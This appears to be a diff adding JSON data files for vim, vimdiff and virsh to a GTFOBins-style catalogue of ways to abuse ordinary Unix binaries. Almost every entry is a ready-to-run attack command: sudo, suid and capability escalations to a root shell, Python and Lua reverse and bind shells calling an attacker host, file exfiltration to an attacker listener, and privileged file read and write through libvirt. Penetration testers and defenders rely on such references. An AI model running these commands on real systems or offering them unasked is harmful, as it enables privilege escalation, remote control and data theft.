+ "description": "This requires that 'vim' is compiled with Lua support.",
93
+ "code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'"
94
+ }
95
+ ],
96
+ "capabilities": [
97
+ {
98
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.",
99
+ "code": "./vim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
100
+ }
101
+ ],
102
+ "limited-suid": [
103
+ {
104
+ "description": "This requires that 'vim' is compiled with Lua support.",
105
+ "code": "./vim -c ':lua os.execute(\"reset; exec sh\")'"
106
+ }
107
+ ]
108
+ }
109
+ }
gtfo/data/vimdiff.json ADDED
@@ -0,0 +1,109 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "vimdiff -c ':!/bin/sh'"
6
+ },
7
+ {
8
+ "code": "vimdiff\n:set shell=/bin/sh\n:shell\n"
9
+ },
10
+ {
11
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.",
12
+ "code": "vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
13
+ },
14
+ {
15
+ "description": "This requires that 'vimdiff' is compiled with Lua support.",
16
+ "code": "vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
17
+ }
18
+ ],
19
+ "reverse-shell": [
20
+ {
21
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
22
+ "code": "vimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
23
+ }
24
+ ],
25
+ "non-interactive-reverse-shell": [
26
+ {
27
+ "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.",
28
+ "code": "vimdiff -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
29
+ }
30
+ ],
31
+ "non-interactive-bind-shell": [
32
+ {
33
+ "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.",
34
+ "code": "vimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
35
+ }
36
+ ],
37
+ "file-upload": [
38
+ {
39
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
40
+ "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
41
+ },
42
+ {
43
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
44
+ "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
45
+ },
46
+ {
47
+ "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.",
48
+ "code": "vimdiff -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n"
49
+ }
50
+ ],
51
+ "file-download": [
52
+ {
53
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
54
+ "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n"
55
+ },
56
+ {
57
+ "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.",
58
+ "code": "vimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n"
59
+ }
60
+ ],
61
+ "file-write": [
62
+ {
63
+ "code": "vimdiff [file]\ni[data]\n^[\nw\n"
64
+ }
65
+ ],
66
+ "file-read": [
67
+ {
68
+ "code": "vimdiff [file]"
69
+ }
70
+ ],
71
+ "library-load": [
72
+ {
73
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.",
74
+ "code": "vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
75
+ }
76
+ ],
77
+ "suid": [
78
+ {
79
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.",
80
+ "code": "./vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
81
+ }
82
+ ],
83
+ "sudo": [
84
+ {
85
+ "code": "sudo vimdiff -c ':!/bin/sh'"
86
+ },
87
+ {
88
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.",
89
+ "code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
90
+ },
91
+ {
92
+ "description": "This requires that 'vimdiff' is compiled with Lua support.",
93
+ "code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
94
+ }
95
+ ],
96
+ "capabilities": [
97
+ {
98
+ "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.",
99
+ "code": "./vimdiff -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
100
+ }
101
+ ],
102
+ "limited-suid": [
103
+ {
104
+ "description": "This requires that 'vimdiff' is compiled with Lua support.",
105
+ "code": "./vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
106
+ }
107
+ ]
108
+ }
109
+ }
gtfo/data/virsh.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "code": "TF=$(mktemp)\ncat > $TF << EOF\n<domain type='kvm'>\n <name>x</name>\n <os>\n <type arch='x86_64'>hvm</type>\n </os>\n <memory unit='KiB'>1</memory>\n <devices>\n <interface type='ethernet'>\n <script path='[script]'/>\n </interface>\n </devices>\n</domain>\nEOF\nsudo virsh -c qemu:///system create $TF\nvirsh -c qemu:///system destroy x\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "description": "This requires the user to be in the 'libvirt' group to perform privileged file write. If the target directory doesn't exist, 'pool-create-as' must be run with the '--build' option. The destination file ownership and permissions can be set in the XML.",
11
+ "code": "echo '[data]' > [data_to_write]\n\nTF=$(mktemp)\ncat > $TF <<EOF\n<volume type='file'>\n <name>y</name>\n <key>[dir]/[file]</key>\n <source>\n </source>\n <capacity unit='bytes'>5</capacity>\n <allocation unit='bytes'>4096</allocation>\n <physical unit='bytes'>5</physical>\n <target>\n <path>[dir]/[file]</path>\n <format type='raw'/>\n <permissions>\n <mode>0600</mode>\n <owner>0</owner>\n <group>0</group>\n </permissions>\n </target>\n</volume>\nEOF\n\nvirsh -c qemu:///system pool-create-as x dir --target [dir]\nvirsh -c qemu:///system vol-create --pool x --file $TF\nvirsh -c qemu:///system vol-upload --pool x [dir]/[file] [data_to_write]\nvirsh -c qemu:///system pool-destroy x\n"
12
+ }
13
+ ],
14
+ "file-read": [
15
+ {
16
+ "description": "This requires the user to be in the 'libvirt' group to perform privileged file read.",
17
+ "code": "virsh -c qemu:///system pool-create-as x dir --target /root\nvirsh -c qemu:///system vol-download --pool x [file] [file_to_save]\nvirsh -c qemu:///system pool-destroy x\n"
18
+ }
19
+ ]
20
+ }
21
+ }